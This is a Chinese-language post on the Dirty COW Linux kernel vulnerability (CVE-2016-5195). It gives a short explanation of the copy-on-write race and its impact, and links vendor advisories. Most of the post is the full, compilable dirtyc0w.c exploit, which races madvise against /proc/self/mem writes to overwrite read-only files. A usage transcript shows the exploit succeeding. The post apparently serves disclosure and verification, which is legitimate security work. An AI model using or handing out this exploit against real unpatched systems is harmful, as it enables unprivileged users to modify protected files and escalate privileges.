Dirty Cow (CVE-2016-5195) 是 Linux Kernel 中的一个权限提升漏洞。Linux 内核内存子系统处理私有只读存储器映射的写入时复制 （COW） 机制被发现了一个冲突条件。这个漏洞存在于 2.6.22以后的版本 （在 2007 年发布），已经在 2016 年 10 月 18 日修复。

该漏洞影响

• 没有权限的本地用户可以使用此漏洞获取写访问权限，修改只读内存映射，从而增加他们在系统上的特权。
• 该漏洞允许攻击者使用本地系统帐户修改磁盘上的二进制文件，绕过标准的权限机制，这些权限机制通常用于防止修改没有适当的权限集。

Debian及Redhat分别就此漏洞发布公告

Debian漏洞公告

Debian: https://security-tracker.debian.org/tracker/CVE-2016-5195

​Redhat漏洞公告

Redhat: https://access.redhat.com/security/cve/cve-2016-5195

更多内容请查阅：

https://bugzilla.redhat.com/show_bug.cgi?id=1384344 

http://seclists.org/bugtraq/2016/Oct/43 

脏牛Dirty COW漏洞验证

/*

####################### dirtyc0w.c #######################

$ sudo -s

# echo this is not a test > foo

# chmod 0404 foo

$ ls -lah foo

-r—–r– 1 root root 19 Oct 20 15:23 foo

$ cat foo

this is not a test

$ gcc -lpthread dirtyc0w.c -o dirtyc0w

$ ./dirtyc0w foo m00000000000000000

mmap 56123000

madvise 0

procselfmem 1800000000

$ cat foo

m00000000000000000

####################### dirtyc0w.c #######################

*/

#include <stdio.h>

#include <sys/mman.h>

#include <fcntl.h>

#include <pthread.h>

#include <string.h>

void *map;

int f;

struct stat st;

char *name;

void *madviseThread(void *arg)

{

char *str;

str=(char*)arg;

int i,c=0;

for(i=0;i<100000000;i++)

{

/*

You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661

> This is achieved by racing the madvise(MADV_DONTNEED) system call

> while having the page of the executable mmapped in memory.

*/

c+=madvise(map,100,MADV_DONTNEED);

}

printf("madvise %d\n\n",c);

}

void *procselfmemThread(void *arg)

{

char *str;

str=(char*)arg;

/*

You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16

> The in the wild exploit we are aware of doesn't work on Red Hat

> Enterprise Linux 5 and 6 out of the box because on one side of

> the race it writes to /proc/self/mem, but /proc/self/mem is not

> writable on Red Hat Enterprise Linux 5 and 6.

*/

int f=open("/proc/self/mem",O_RDWR);

int i,c=0;

for(i=0;i<100000000;i++) {

/*

You have to reset the file pointer to the memory position.

*/

lseek(f,map,SEEK_SET);

c+=write(f,str,strlen(str));

}

printf("procselfmem %d\n\n", c);

}

int main(int argc,char *argv[])

{

/*

You have to pass two arguments. File and Contents.

*/

if (argc<3)return 1;

pthread_t pth1,pth2;

/*

You have to open the file in read only mode.

*/

f=open(argv[1],O_RDONLY);

fstat(f,&st);

name=argv[1];

/*

You have to use MAP_PRIVATE for copy-on-write mapping.

> Create a private copy-on-write mapping. Updates to the

> mapping are not visible to other processes mapping the same

> file, and are not carried through to the underlying file. It

> is unspecified whether changes made to the file after the

> mmap() call are visible in the mapped region.

*/

/*

You have to open with PROT_READ.

*/

map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

printf("mmap %x\n\n",map);

/*

You have to do it on two threads.

*/

pthread_create(&pth1,NULL,madviseThread,argv[1]);

pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

/*

You have to wait for the threads to finish.

*/

pthread_join(pth1,NULL);

pthread_join(pth2,NULL);

return 0;

}